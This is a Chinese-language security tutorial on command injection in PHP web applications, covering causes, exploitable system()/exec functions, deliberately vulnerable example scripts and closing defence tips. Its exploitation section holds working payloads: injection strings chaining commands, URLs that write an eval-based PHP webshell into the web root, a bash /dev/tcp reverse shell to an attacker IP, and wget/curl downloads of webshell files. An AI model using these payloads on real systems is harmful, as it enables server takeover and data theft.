任意命令执行

任意命令执行

漏洞背景

​ 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

​ 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

​ 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交"意想不到"的命令,从而让后台进行执行,从而控制整个后台服务器

漏洞成因

​ 应用在调用这些函数执行系统命令的时候,如果将用户的输入作为 系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下, 就会造成命令执行漏洞。

危害

  1. 继承Web服务器程序的权限,去执行系统命令
  2. 继承Web服务器程序的权限,读写文件
  3. 反弹shell
  4. 控制整个网站
  5. 甚至控制整个服务器

任意命令执行利用

WINDOWS系统命令:

复制代码
ipconfig	              //查看网卡信息
arp		  	             //arp缓存表操作
dir		  	             //查看当前目录下文件信息
chdir		             //显示当前文件绝对路径
netstat  -ano             //查看当前端口信息
whoami	  	             //查看当前用户
shutdown                  //60秒倒计时关机命令
taskkill /f /PID 进程名   //进程名为端口号    加/f参数强制结束进程
notepad 	  		     //打开记事本

LINUX系统命令:

复制代码
ifconfig      			//查看网卡信息
ls 					   //查看当前目录下文件信息
netstat --ant 			//查看当前端口信息
whoami 				    //查看当前用户
cd  /etc/目录路径   	  //切换目录
cat 文件名  			  //查看文件内容
vim  文件名 			  //编辑文件内容
init 6   				//重启系统
ps --aux  				//查看系统进程信息

https://www.cnblogs.com/accumulater/p/7110811.html 系统命令参考

相关函数

在PHP中可以调用外部程序的常见函数:

​ system (args)(有回显)

​ passthru(args)(有回显)

​ exec(arqs)(本身无回显-echo输出显示最后一行)

​ shell_exec(args)(本身无回显-echo输出显示)

​ 反引号:`` (本身无回显, 需要echo输出)

​ popen(handle,mode)(无回显)

​ proc_open('cmd','flag','flag')(无回显)

​ process=procopen(′dir′,process = proc_open('dir',process=procopen(′dir′,des,$pipes);

​ echo stream_get_contents($pipes1);

system()函数_1
复制代码
<?php 
	$arg = $_GET['arg'];
	if ($arg) {
		//windows下-n指定ping次数
		system("ping -n 3 $arg");
	}
 ?>

管道符|,前一个的输出,后一个的输入;拼接作用

​ 我们能够控制的点是程序的整个参数,我们可以直接用&&或 | 等等,利用与、或、管道命令来执行其他命令。

复制代码
system("ping -n 3 127.0.0.1 | ifconfig")

linux下还支持";"
system("ping -c 3 127.0.0.1; ifconfig")

|,||,%26(&), %26%26(&&),短路逻辑与(%26%26)前后两个参数,如果第一为假,第二个不判断短路逻辑或(||)前后两个参数,如果第一为真,第二个不判断

system()函数_2
复制代码
Linux环境下:
<?php 
	$arg = $_GET['a'];
	if ($arg) {
		system("ls -al \"$arg\"");
	}
?>

/?a=./" | "ifconfig
/?a=./" ; "ifconfig
/?a=aa" || "ifconfig
/?a=./" %26 "ifconfig
/?a=./" %26%26 "ifconfig
system()函数_3
复制代码
Linux环境:
<?php 
	$arg = $_GET['a'];
	if ($arg) {
		system("ls-al  '$arg' ");
	}
?>

windows环境:
<?php 
	$arg = $_GET['a'];
	if ($arg) {
		system("dir '$arg'");
	}
?>

在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。

如果有些权限:直接写一句话(windows)

复制代码
http://192.168.3.25/mingling/system3.php?a=aa' | echo  "<?php eval($_POST[1]);?>"  > 2.php //
http://192.168.3.25/mingling/system3.php?a=aa' | echo  "<?php eval($_POST[1]);?>"  > 2.php;

如果有写权限的话:

  1. 反弹shell,尝试提权
  2. Linux系统执行pwd得到绝对路径,写一句话木马
  3. windows系统下执行chdir得到绝对路径,写一句话木马

反弹shell

攻击者公网服务器(windows环境)执行nc -lvp 8888

目标服务器上执行(这里注意&-->需要变为URL编码%26)

?cmd= bash -i >& /dev/tcp/攻击者服务器IP/8888 0>&1

攻击者公网服务器(Linux环境)执行nc -lvp 8888

目标服务器上执行(这里注意&-->变为URL编码%26)

?cmd= bash -i >& /dev/tcp/攻击者服务器IP/8888 0>&1

在反弹shell中执行pwd得到绝对路径:

写一句话木码(写权限)

?cmd=echo "<?php eval(\$_POST[1]);?>" > /var/www/html/2.php

//Linux远端下载一句话文件保存为info.php

?cmd=wget -O /var/www/html/info.php http://192.168.1.105/1.php

//Linux远端下载一句话文件保存为info.php

?cmd=curl http://192.168.3.76/1.php > /var/www/html/info1.php

利用C刀链接木马,获取磁盘目录

在输入框中输入chdir得到绝对路径:

写一句话木码

?cmd=echo "<?php eval($_POST[1]);?>" > D:\phpStudy\WWW\2.php

window10 远端下载一句话文件保存为info.php

?cmd=curl http://www.xx.com/phpinfo.txt > D:\phpStudy\WWW\3.php

利用C刀链接木马,获取磁盘目录

任意命令执行防御

  • 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令函数,并在disable_functions中禁用。
  • 在进入命令执行的函数或方法之前,对参数进行过滤。使用这些函数 scapeshellcmd(注意当引号是成对的不会被转义) / escapeshellarg过滤
  • 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
  • 在代码执行函数,列如eval()函数中数据,避免用户可控。